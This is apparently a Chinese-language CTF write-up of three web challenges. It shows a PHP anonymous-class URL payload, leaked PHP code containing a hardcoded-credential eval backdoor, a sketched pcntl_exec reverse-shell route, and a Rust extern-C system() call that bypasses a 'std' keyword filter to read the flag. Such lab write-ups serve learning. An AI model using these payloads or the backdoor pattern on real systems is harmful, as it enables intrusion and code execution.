红明谷
文章目录
- 红明谷
- Web1 | SOLVED Later
- Web2 | UNSOLVED
- Web3 | SOLVED
容器已经关咯,所以有些场景只能靠回忆+描述啦,学习为主,题目只是一个载体~
本次比赛学习为主,确实再一次感受到久违的web题目的魅力了,可能也是好久没做的原因哈哈
Web1 | SOLVED Later
开题后首先一个界面是一个php界面,其中提供了一个post参数f
但是这个参数是什么都执行不了的。
所以我们需要进行侧信道攻击
其中具体原理不清楚,但是最后的工具确实可以一把梭
读取到这里就OK了 不需要全爆的
因为我们的目的在于获得这个正确的参数值ezphpPhp8
加上参数后可以正常访问到界面
本来一气呵成,直接触发一个getflag 多完美,但是就偏偏出了个unset把匿名类给销毁了,这。。。
既然是销毁的匿名类,我们就去找一下如何触发匿名类
https://hi-arkin.com/archives/php-anonymous-stdClass.html
但是每次的列数具有一定的随机性,所以上bp多跑几次就OK了
payload:
http://eci-2zehaurgvwox6uxhazeh.cloudeci1.ichunqiu.com/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$12
Web2 | UNSOLVED
扫一下目录发现
www.zip泄露
拿到用户名和密码登录
后面就卡主了,赛后请教了一下其他师傅,记录一下思路吧,后面学习(环境无了 好难受
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo '小明是运维工程师,最近网站老是出现bug。';
exit;
} else {
$validUser = 'admin';
$validPass = '2e525e29e465f45d8d7c56319fe73036';
if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo 'Invalid credentials';
exit;
}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>
这里关注cmd这个点,学习无参数rce是什么
无参rce
然后去读取一些内容
尤其是在读/usr/local/etc/php/php.ini
这个 可以发现pcntl_exec
这个函数没有被禁用
https://www.php.net/manual/en/function.pcntl-exec.php
学习一下这个函数怎么用,然后利用该函数反弹shell
Web3 | SOLVED
关键题目代码:
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
if code.contains("std") {
return "Error: std is not allowed".to_string();
}
//generate a random 5 length file name
let file_name = rand::thread_rng()
.sample_iter(&rand::distributions::Alphanumeric)
.take(5)
.map(char::from)
.collect::<String>();
if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
file.write_all(code.as_bytes());
}
if let Ok(build_output) = Command::new("rustc")
.arg(format!("playground/{}.rs",&file_name))
.arg("-C")
.arg("debuginfo=0")
.arg("-C")
.arg("opt-level=3")
.arg("-o")
.arg(format!("playground/{}",&file_name))
.output() {
if !build_output.status.success(){
fs::remove_file(format!("playground/{}.rs",&file_name));
return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
}
}
fs::remove_file(format!("playground/{}.rs",&file_name));
if let Ok(output) = Command::new(format!("playground/{}",&file_name))
.output() {
if !output.status.success(){
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
} else{
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
}
}
return String::default();
}
解题:
首先看到rust,不熟的语言加上解出的人很多,就应该在语言上没有设置太大障碍吧,拷打gpt!
路由非常明确:post(“/rust_code”
post传参 ,传到/rust_code 路由下
这段 Rust 代码是一个 Rocket Web 框架中的一个处理 POST 请求的路由处理函数。以下是对代码中每一行的解释:
#[post("/rust_code", data = "<code>")]: 这是一个 Rocket 框架的路由宏,用于定义一个处理 POST 请求的路由,该路由的路径为 /rust_code,并且期望接收名为 code 的数据作为请求体。
fn run_rust_code(code: String) -> String {: 这是一个函数定义,用于处理接收到的 POST 请求,函数名为 run_rust_code,接收一个 String 类型的参数 code,并返回一个 String 类型的结果。
!!!!!注意这里 在上waf 禁用了std
if code.contains("std") { return "Error: std is not allowed".to_string(); }: 这行代码检查接收到的 code 是否包含字符串 "std"。如果包含,则返回一个表示错误信息的字符串 "Error: std is not allowed"。
let file_name = rand::thread_rng() ... .collect::<String>();: 这行代码生成一个随机的文件名,使用 Rust 的 rand 库来生成随机字符,并拼接成一个长度为 5 的字符串作为文件名。
if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) { file.write_all(code.as_bytes()); }: 这段代码创建一个新文件,并将接收到的 code 写入该文件中。如果文件创建成功,则将 code 写入文件中。
if let Ok(build_output) = Command::new("rustc") ... { ... }: 这段代码调用系统命令 rustc 来编译刚刚写入的 Rust 代码文件。编译完成后,会产生一个可执行文件。
fs::remove_file(format!("playground/{}.rs",&file_name));: 这行代码删除之前创建的 Rust 代码文件,以保持环境的清洁。
if let Ok(output) = Command::new(format!("playground/{}",&file_name)) ... { ... }: 这段代码运行刚刚编译生成的可执行文件,并将其输出捕获到变量 output 中。
return String::default();: 如果以上步骤都成功执行,则返回一个默认的空字符串作为结果。
简单来说,用户上传代码,只要不包含std,会被这个程序执行,并输出结果
然后我们的目标是通过system函数执行命令,但是system属于外部函数,需要我们声明一下
POST /rust_code HTTP/1.1
Host: eci-2zee51
...
Cache-Control: no-cache
Content-Length: 134
//声明外部函数 C语言库函数
extern "C" {
fn system(cmd: *const u8) -> i32;
}
fn main() {
// Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作
unsafe {
system("cat /flag".as_ptr());
}
}
flag{91857cfb-7512-4760-afd8-f370e33f1112}
END:
本场Web的难度真的非常喜欢哈哈哈,中等,非常适合我,就是一眼不会,稍微看看或许能理解,仔细想想就能解出的状态,非常好,继续加油!